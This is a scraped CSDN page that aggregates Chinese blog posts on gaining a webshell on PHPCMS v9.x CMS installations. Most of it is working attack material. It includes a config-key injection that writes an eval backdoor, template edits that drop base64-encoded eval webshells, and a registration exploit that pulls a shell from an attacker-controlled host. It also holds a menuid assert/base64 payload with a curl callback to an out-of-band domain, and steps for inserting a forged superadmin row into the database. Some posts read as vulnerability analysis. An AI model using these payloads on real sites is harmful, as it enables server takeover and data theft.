phpcms v拿shell_phpcms v9.3.4 shell - CSDN
精华内容
参与话题
  • PHPCMS v9.6 Getshell方法大全

    千次阅读 2017-11-15 10:07:36
    phpcms9.6.x后台getshell几种方法
    V9.6管理员权限getshell:
    漏洞存在地址:ROOTDIR/phpsso_server/phpcms/modules/admin/system.php
    public function uc() {
            if (isset($_POST['dosubmit'])) {
                $data = isset($_POST['data']) ? $_POST['data'] : '';
                $data['ucuse'] = isset($_POST['ucuse']) && intval($_POST['ucuse']) ? intval($_POST['ucuse']) : 0;
                $filepath = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.'system.php';
                $config = include $filepath;
                $uc_config = '<?php '."\ndefine('UC_CONNECT', 'mysql');\n";
                foreach ($data as $k => $v) {
                    $old[] = "'$k'=>'".(isset($config[$k]) ? $config[$k] : $v)."',";
                    $new[] = "'$k'=>'$v',";
                    $uc_config .= "define('".strtoupper($k)."', '$v');\n";
                }
                $html = file_get_contents($filepath);
                $html = str_replace($old, $new, $html);
                $uc_config_filepath = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.'uc_config.php';
                @file_put_contents($uc_config_filepath, $uc_config);
                @file_put_contents($filepath, $html);
                $this->db->insert(array('name'=>'ucenter', 'data'=>array2string($data)), 1,1);
                showmessage(L('operation_success'), HTTP_REFERER);
            }
            $data = array();
            $r = $this->db->get_one(array('name'=>'ucenter'));
            if ($r) {
                $data = string2array($r['data']);
            }
            include $this->admin_tpl('system_uc');
        }


    其中

    $data = isset($_POST['data']) ? $_POST['data'] : '';

    foreach ($data as $k => $v) {
    $old[] = "'$k'=>'".(isset($config[$k]) ? $config[$k] : $v)."',";
    $new[] = "'$k'=>'$v',";
    $uc_config .= "define('".strtoupper($k)."', '$v');\n";
    }

    这里可以看到用post方式传递data中key,value并写入/phpsso_server/caches/configs/uc_config.php中


    在ROOTDIR/phpcms/libs/classes/param.class.php中

    public function __construct() {
    if(!get_magic_quotes_gpc()) {
    $_POST = new_addslashes($_POST);
    $_GET = new_addslashes($_GET);
    $_REQUEST = new_addslashes($_REQUEST);
    $_COOKIE = new_addslashes($_COOKIE);
    }

    全局过滤POST 但这里之过滤value 没过滤key


    接下来看步骤


     

     

     

     PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞

    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞


    代码贴出来:*/eval($_REQUEST['a']);//

    name="data[uc_api','11');/*]"

    phpcmsv9.6低权限提权(其他版本自测)

    添加模板
    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
    <?php file_put_contents('0.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWzVdKTs/Pg==')); ?>
    如图一样填完直接保存就OK

    然后
    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞

    第二个模板,填完先别保存
    跳到扩展设置
    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
    在专题模板那里对着专题首页右键查看元素后 定位到value='index'
    然后替换成上一个模板的路径
    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
    ../../../../html/special/test/index

    注意这里test为你前面的模板名称

    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
    修改完毕后会在根目录生成一个0.php//这里可以在前面那段php代码修改 毕竟是写入

    菜刀连接之
     
     
     
     https://www.seebug.org/vuldb/ssvid-92959 phpcms任意文件下载
     
     
    展开全文
  • phpcms v9.6.0版本getshell测试

    千次阅读 2017-09-12 08:56:22
    需要 phpcms V9.6.0安装包/ phpstudy 安装PHPstudy完成后,直接把phpcms V9.6.0解压到WWW目录下 然后浏览器访问:http://ip/phpcms 进行安装,安装都是傻瓜式的操作,填写好数据库用户名密码就可以了。。phpstudy的...

    其实这个漏洞是4月初的时候了。

    今天有空重新记录一下。

    一、环境搭建:

    需要 phpcms V9.6.0安装包/ phpstudy

    phpcms v9.6.0安装包下载地址:http://download.csdn.net/download/qq1124794084/9971392

    安装PHPstudy完成后,直接把phpcms V9.6.0解压到WWW目录下

    然后浏览器访问:http://ip/phpcms

    进行安装,安装都是傻瓜式的操作,填写好数据库用户名密码就可以了。。phpstudy的mysql数据库root密码默认为root

    安装完成后需要在后台生成一下首页,才能访问。


    二、POC上传shell

    1.进入漏洞触发的页面-----注册页面

    按照格式随便填写。

    2.填写完毕以后,开启抓包工具,我用的是fiddler,F11截包,点击提交注册按钮。

    抓到数据包如下:


    3.创建好本地或者服务器的webshell

    我在自己本地写了个phpinfo.php

    根据过滤规则我们先把它改名为phpinfo.txt

    并启动本地的web服务器


    4.POC上传shell

    构造POC

    siteid=1&modelid=1&username=00924324&password=123456789&pwdconfirm=123456789&email=79123@qq.com&nickname=i09dfdf&info[content]=href=http://192.168.10.12/phpinfo.txt?.php#.jpg&dosubmit=1&protocol=


    注意modelid要等于1

    原来的info[Birthday]改为info[content]这样才能报错,把shell的路径暴露出来

    info后面跟的是shell的地址

    这样我们浏览器打开webshell地址

    上传成功。

    展开全文
  • phpcmsV9.5.8 后台拿shell

    2019-09-26 21:00:42
    参考url:https://xianzhi.aliyun.com/forum/read/1507.html ...c=content&a=public_categorys&menuid=${@phpinfo()} 根据到的poc,phpcms的mvc结构,代码位于/phpcms/modules/content/co...

    参考url:https://xianzhi.aliyun.com/forum/read/1507.html

    poc:index.php??m=content&c=content&a=public_categorys&menuid=${@phpinfo()}

    根据拿到的poc,phpcms的mvc结构,代码位于/phpcms/modules/content/content.php  第472-532行

    	public function public_categorys() {
    		$show_header = '';
    		$cfg = getcache('common','commons');
    		$ajax_show = intval($cfg['category_ajax']);
    		$from = isset($_GET['from']) && in_array($_GET['from'],array('block')) ? $_GET['from'] : 'content';
    		$tree = pc_base::load_sys_class('tree');
    		if($from=='content' && $_SESSION['roleid'] != 1) {	
    			$this->priv_db = pc_base::load_model('category_priv_model');
    			$priv_result = $this->priv_db->select(array('action'=>'init','roleid'=>$_SESSION['roleid'],'siteid'=>$this->siteid,'is_admin'=>1));
    			$priv_catids = array();
    			foreach($priv_result as $_v) {
    				$priv_catids[] = $_v['catid'];
    			}
    			if(empty($priv_catids)) return '';
    		}
    		$categorys = array();
    		if(!empty($this->categorys)) {
    			foreach($this->categorys as $r) {
    				if($r['siteid']!=$this->siteid ||  ($r['type']==2 && $r['child']==0)) continue;
    				if($from=='content' && $_SESSION['roleid'] != 1 && !in_array($r['catid'],$priv_catids)) {
    					$arrchildid = explode(',',$r['arrchildid']);
    					$array_intersect = array_intersect($priv_catids,$arrchildid);
    					if(empty($array_intersect)) continue;
    				}
    				if($r['type']==1 || $from=='block') {
    					if($r['type']==0) {
    						$r['vs_show'] = "<a href='?m=block&c=block_admin&a=public_visualization&menuid=".$_GET['menuid']."&catid=".$r['catid']."&type=show' target='right'>[".L('content_page')."]</a>";
    					} else {
    						$r['vs_show'] ='';
    					}
    					$r['icon_type'] = 'file';
    					$r['add_icon'] = '';
    					$r['type'] = 'add';
    				} else {
    					$r['icon_type'] = $r['vs_show'] = '';
    					$r['type'] = 'init';
    					$r['add_icon'] = "<a target='right' href='?m=content&c=content&menuid=".$_GET['menuid']."&catid=".$r['catid']."' οnclick=javascript:openwinx('?m=content&c=content&a=add&menuid=".$_GET['menuid']."&catid=".$r['catid']."&hash_page=".$_SESSION['hash_page']."','')><img src='".IMG_PATH."add_content.gif' alt='".L('add')."'></a> ";
    				}
    				$categorys[$r['catid']] = $r;
    			}
    		}
    		if(!empty($categorys)) {
    			$tree->init($categorys);
    				switch($from) {
    					case 'block':
    						$strs = "<span class='\$icon_type'>\$add_icon<a href='?m=block&c=block_admin&a=public_visualization&menuid=".$_GET['menuid']."&catid=\$catid&type=list' target='right'>\$catname</a> \$vs_show</span>";
    						$strs2 = "<img src='".IMG_PATH."folder.gif'> <a href='?m=block&c=block_admin&a=public_visualization&menuid=".$_GET['menuid']."&catid=\$catid&type=category' target='right'>\$catname</a>";
    					break;
    
    					default:
    						$strs = "<span class='\$icon_type'>\$add_icon<a href='?m=content&c=content&a=\$type&menuid=".$_GET['menuid']."&catid=\$catid' target='right' οnclick='open_list(this)'>\$catname</a></span>";
    						$strs2 = "<span class='folder'>\$catname</span>";
    						break;
    				}
    			$categorys = $tree->get_treeview(0,'category_tree',$strs,$strs2,$ajax_show);
    		} else {
    			$categorys = L('please_add_category');
    		}
            include $this->admin_tpl('category_tree');
    		exit;
    	}
    

      

    在当前函数开始下个断点

    跟到526行:

    $categorys = $tree->get_treeview(0,'category_tree',$strs,$strs2,$ajax_show);
    

      

    进入了get_treeview()函数,跟入进去,

    函数位于 /phpcms/libs/classes/tree.class.php  第206-239行。

     

    * @param $myid 表示获得这个ID下的所有子级
    * @param $effected_id 需要生成treeview目录数的id
    * @param $str 末级样式
    * @param $str2 目录级别样式
    * @param $showlevel 直接显示层级数,其余为异步显示,0为全部限制
    * @param $style 目录样式 默认 filetree 可增加其他样式如'filetree treeview-famfamfam'
    * @param $currentlevel 计算当前层级,递归使用 适用改函数时不需要用该参数
    * @param $recursion 递归使用 外部调用时为FALSE
       function get_treeview($myid,$effected_id='example',$str="<span class='file'>\$name</span>", $str2="<span class='folder'>\$name</span>" ,$showlevel = 0 ,$style='filetree ' , $currentlevel = 1,$recursion=FALSE) {
            $child = $this->get_child($myid);
            if(!defined('EFFECTED_INIT')){
               $effected = ' id="'.$effected_id.'"';
               define('EFFECTED_INIT', 1);
            } else {
               $effected = '';
            }
    		$placeholder = 	'<ul><li><span class="placeholder"></span></li></ul>';
            if(!$recursion) $this->str .='<ul'.$effected.'  class="'.$style.'">';
            foreach($child as $id=>$a) {
    
            	@extract($a);
    			if($showlevel > 0 && $showlevel == $currentlevel && $this->get_child($id)) $folder = 'hasChildren'; //如设置显示层级模式@2011.07.01
            	$floder_status = isset($folder) ? ' class="'.$folder.'"' : '';		
                $this->str .= $recursion ? '<ul><li'.$floder_status.' id=\''.$id.'\'>' : '<li'.$floder_status.' id=\''.$id.'\'>';
                $recursion = FALSE;
                if($this->get_child($id)){
                	eval("\$nstr = \"$str2\";");
                	$this->str .= $nstr;
                    if($showlevel == 0 || ($showlevel > 0 && $showlevel > $currentlevel)) {
    					$this->get_treeview($id, $effected_id, $str, $str2, $showlevel, $style, $currentlevel+1, TRUE);
    				} elseif($showlevel > 0 && $showlevel == $currentlevel) {
    					$this->str .= $placeholder;
    				}
                } else {
                    eval("\$nstr = \"$str\";");
                    $this->str .= $nstr;
                }
                $this->str .=$recursion ? '</li></ul>': '</li>';
            }
            if(!$recursion)  $this->str .='</ul>';
            return $this->str;
        }
    	
    

      这里有个判断:

    if($this->get_child($id))

     

    当第一次执行为ture的时候,还是会再次执行get_treeview的内容

    $this->get_treeview($id, $effected_id, $str, $str2, $showlevel, $style, $currentlevel+1, TRUE);

    第二次执行的时候$myid由0变成了1,

    下图的$myid是 $id的值

     

     这时候的$newarr为空,

    if就不执行,转而执行elseif和else,而$str包含着menuid的值,也就是${@phpinfo()} ,这时候eval() 就执行了php代码。

     

     

    这要管理员权限才能代码执行,修改下payload,管理员一访问就在当前域名的首页路径下生成shell。

    /index.php?m=content&c=content&a=public_categorys&menuid=${@(assert(base64_decode(ZnB1dHMoZm9wZW4oJ3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycpOw)))} 

     密码1

     

    还有另一种payload,会回显的提醒。

    自动curl请求你的域名,然后回显网站url

    print_r(base64_encode("fputs(fopen('shell.php','w'),'<?php eval(\$_POST[2]);');system('curl '.\$_SERVER[\"SERVER_NAME\"].'4321.nrcuf9.ceye.io');"));
    

      先输出base64的地址,然后在替换下面的字符串

    /index.php?m=content&c=content&a=public_categorys&menuid=(${@(assert(eval(base64_decode(ZnB1dHMoZm9wZW4oJ3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgZXZhbCgkX1BPU1RbMl0pOycpO3N5c3RlbSgnY3VybCAnLiRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdLic0MzIxLm5yY3VmOS5jZXllLmlvJyk7))))})

     

    这个字符串有几个点提醒下自己, assert()函数执行执行一句php代码,所以在assert前面加个eval,执行多条语句。

    如果有读者读到这篇,求告知php的${} 作用。

    解答:在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。注意:双引号中的函数不会被执行和替换。

    在这里我们需要通过{${}}构造出了一个特殊的变量。

    参考:http://www.redicecn.com/html/PHP/20100607/149.html

     

    转载于:https://www.cnblogs.com/yangxiaodi/p/6882606.html

    展开全文
  • PHPcmsV9任意文件读取漏洞拿Shell

    千次阅读 2012-08-02 21:57:53
    简介:作者:Return 前几天爆的phpcmsV9任意文件读取漏洞,其实危害是很大的,但往往还是一些管理员 觉得漏洞并不可怕,听到某人说道,即使是被人读取了数据库数据也没用,为啥,因为 他权限数据库权限单库单用户,...

    编辑:madman 日期:2012-07-29 分类:技术文章最新漏洞 评论:9条评论
    简介:作者:Return 前几天爆的phpcmsV9任意文件读取漏洞,其实危害是很大的,但往往还是一些管理员 觉得漏洞并不可怕,听到某人说道,即使是被人读取了数据库数据也没用,为啥,因为 他权限数据库权限单库单用户,并且v9制作前台cms发布里面就只有管理员账户并且不发 分子拿到密码也没用因为破解不了他的密码,其实我想说你丫的...

    作者:Return

    前几天爆的phpcmsV9任意文件读取漏洞,其实危害是很大的,但往往还是一些管理员

    觉得漏洞并不可怕,听到某人说道,即使是被人读取了数据库数据也没用,为啥,因为

    他权限数据库权限单库单用户,并且v9制作前台cms发布里面就只有管理员账户并且不发

    分子拿到密码也没用因为破解不了他的密码,其实我想说你丫的把黑阔当傻子?你能想到

    的别人想不到,废话就不说了,看着就是了~~

    本地搭建的phpcsmV9.现用漏洞或者工具读取数据库信息:

     

    数据库phpcmsv9用户名:root  密码为空

    我们用一款数据库管理工具连接数据库我用的是navicat

    打开工具点击连接-mysql配置数据库信息如图:

    打开phpcmsV9数据库并且找到admin表,向表中添加一条数据,因为我们没法破解他的密码那么咱们就自己

    添加一个用户以便能够登录后台操作:

    Username:admin password: 748b4dfa3a7159c1eb1baa46f222f9b8 roleid:1 encrypt:C6mB9p

    注意这几项必须添负责登录不了的。应为这条记录的意思是添加用户名为admin,密码为:creturn.com的超级管理员

    后台登录地址:localhost/index.php?m=admin

    用户名:admin 密码:creturn.com

    登录后台后我们找到界面-》模版风格-》选择默认模版点击详情列表

    然后点击里面的search目录下面的index.html右侧的编辑

    修改其模版为:

    <?php $shell '<?php @eval($_POST[cmd]);?>';file_put_contents('shell.php',$shell);?>

    提交保存

    然后访问:localhost/index.php?m=search

    会在根目录生成一个shell.php的一句话,我们连接看看

    可以看到已经拿到shell,记得把修改的模版改回去。

    至此,如果还有管理员认为这个漏洞是鸡肋,那我就无话可说了!

    最近发现有人那我写的Exp改作者名和版权信息后发到自己的站上,等我有时间了会光顾你们的!

    如需转载请注明来源,否则后果自付!

    展开全文
  • PHPCMS v9.6.0后台getshell

    2019-09-25 07:50:30
    思路来自于http://www.cnbraid.com/2016/09/18/phpcms/ 这里自己复现了一下,自己写了一下 因为是后台的,还得登陆两次。。所以不好用,主要是学习学习 漏洞来自于ROOTDIR/...
  • phpcms v9.6.0版本

    2020-07-16 23:30:32
    phpcms v9.6.0版本 注册处存在一个前台getshell的漏洞,特地保留这个版本,分享给大家学习使用。 phpcms是一个比较流行的cms.
  • 首先准备一台公网服务器,在上面新建一个一句话的txt文件。如下: 接着打开目标网站,点击注册,填写信息后点击提交,拦截该数据包。 将其中post提交的数据替换成我们的poc,poc如下: ...info[c...
  • phpcms V9 getshell exp

    千次阅读 2012-09-29 09:46:45
    #!... error_reporting(E_ERROR); set_time_limit(0); $pass="xxx"; print_r(' +---------------------------------------------------------------------------+ PHPCms V9 GETSHELL 0DAY c0de by
  • phpcms v9前台getshell

    2019-06-16 03:48:04
    PHPCMS是一款网站管理软件。该软件采用模块化开发,支持多种分类方式,使用它可方便实现个性化网站的设计、开发与维护。它支持众多的程序组合,可轻松实现网站平台迁移,并可广泛满足各种规模的网站需求,可靠性高,...
  • 0x01:介绍PHPCMS V9(后面简称V9)采用PHP5+MYSQL做为技术基础进行开发。V9采用OOP(面向对象)方式进行基础运行框架搭建。模块化开发方式做为功能开发形式。框架易于功能扩展,代码维护,优秀的二次开发能力,可...
  • phpcms v9本地验证getshell 本地验证成功: 如果通过phpcms查找不到具有这样的网站的话,还可以通过如下的特征字进行查找: list-2-4.html  扩展延伸成为:inurl:list-*-*.html 以下是通过本地搭建服务器进行...
  • 介绍 ... 待办 ...[] 加入对有验证码phpcms网站的支持 [] 加入批量(已完成) 说明 依赖库的安装pip install requests 代码 # -*- coding:utf-8 -*- ''' ---------------------- Author : Akkuman Bl...
  • PHPCMS V9.6.3后台的漏洞分析 ...漏洞文件:\phpcmsv9\phpcms\modules\block\block_admin.php 漏洞产生点位于265~272行:   1 if (@file_put_contents($filepath,$str)) { 2 ob_start()...
  • 漏洞url:http://wooyun.jozxing.cc/static/bugs/wooyun-2014-062881.html 很好的fuzz思路。 文章提到:文件名前面的数字是被"干掉"字符的十进制数字,可以看出%81--%99会被干掉.该特性雷同Windows下对"."和" ... ...
  • 原题内容: 一个靶机而已,别搞破坏。 多谢各位大侠手下留情,flag在根目录里txt文件里 ... ...其次百度很明显可以看到phpcms漏洞信息,版本9.6的,这是很明显的信息了,先试试,不行再走普通流...
  • 对于PHPcms9.6.0 最新版漏洞,具体利用步骤如下: 首先我们在本地搭建一个php环境,我这里是appserv(只要可以执行php文件就行) 在根目录下新建一个txt文本文件里面写上php一句话,如上图可以访问 接着我们...
  • phpcms v9.6.0任意文件上传漏洞
  • 引用源:http://paper.seebug.org/273/ 配置了php debug的环境,并且根据这篇文章把流程走了一遍,对phpstorm的debug熟练度+1(跟pycharm一样) ... import re import requestsimport sysimport randomdef ...
1 2 3 4 5 ... 12
收藏数 234
精华内容 93
热门标签
关键字:

phpcms v拿shell